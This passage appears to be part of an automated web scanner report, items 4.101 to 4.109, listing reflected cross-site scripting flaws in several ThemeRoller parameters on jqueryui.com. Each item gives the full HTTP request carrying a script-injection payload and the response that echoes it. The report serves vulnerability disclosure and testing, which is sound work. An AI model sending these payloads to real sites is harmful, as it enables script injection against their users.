GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260Fac137"><script>alert(1)</script>af50a204ab8&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:38 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
s.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260Fac137"><script>alert(1)</script>af50a204ab8&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B5
...[SNIP]...

4.101. http://jqueryui.com/themeroller/ [borderColorDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the borderColorDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6b43b"><script>alert(1)</script>221887cbb13 was submitted in the borderColorDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F6b43b"><script>alert(1)</script>221887cbb13&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:45 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
t_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F6b43b"><script>alert(1)</script>221887cbb13&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextur
...[SNIP]...

4.102. http://jqueryui.com/themeroller/ [borderColorError parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the borderColorError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4547"><script>alert(1)</script>cf86ed9c393 was submitted in the borderColorError parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0ad4547"><script>alert(1)</script>cf86ed9c393&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:16 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
d.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0ad4547"><script>alert(1)</script>cf86ed9c393&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&op
...[SNIP]...

4.103. http://jqueryui.com/themeroller/ [borderColorHeader parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the borderColorHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3c1e"><script>alert(1)</script>0c7fc6ae90d was submitted in the borderColorHeader parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260Fd3c1e"><script>alert(1)</script>0c7fc6ae90d&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:31 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260Fd3c1e"><script>alert(1)</script>0c7fc6ae90d&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDef
...[SNIP]...

4.104. http://jqueryui.com/themeroller/ [borderColorHighlight parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the borderColorHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97727"><script>alert(1)</script>83c0a5762c0 was submitted in the borderColorHighlight parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa197727"><script>alert(1)</script>83c0a5762c0&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:09 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa197727"><script>alert(1)</script>83c0a5762c0&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaa
...[SNIP]...

4.105. http://jqueryui.com/themeroller/ [borderColorHover parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the borderColorHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c6d4"><script>alert(1)</script>c82fe09df08 was submitted in the borderColorHover parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F5c6d4"><script>alert(1)</script>c82fe09df08&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:55 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
fault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F5c6d4"><script>alert(1)</script>c82fe09df08&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTe
...[SNIP]...

4.106. http://jqueryui.com/themeroller/ [cornerRadius parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the cornerRadius request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb90d"><script>alert(1)</script>1fcf803181c was submitted in the cornerRadius parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4pxfb90d"><script>alert(1)</script>1fcf803181c&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:24 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4pxfb90d"><script>alert(1)</script>1fcf803181c&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgI
...[SNIP]...

4.107. http://jqueryui.com/themeroller/ [cornerRadiusShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the cornerRadiusShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c359"><script>alert(1)</script>80c2b6e1d8d was submitted in the cornerRadiusShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px2c359"><script>alert(1)</script>80c2b6e1d8d HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:33 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
yOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px2c359"><script>alert(1)</script>80c2b6e1d8d" type="text/css" media="all" />
...[SNIP]...

4.108. http://jqueryui.com/themeroller/ [fcActive parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fcActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 114c1"><script>alert(1)</script>04551e80a06 was submitted in the fcActive parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121114c1"><script>alert(1)</script>04551e80a06&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:03 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121114c1"><script>alert(1)</script>04551e80a06&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=f
...[SNIP]...

4.109. http://jqueryui.com/themeroller/ [fcContent parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fcContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b8b6"><script>alert(1)</script>24d17bc86e5 was submitted in the fcContent parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff3b8b6"><script>alert(1)</script>24d17bc86e5&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgO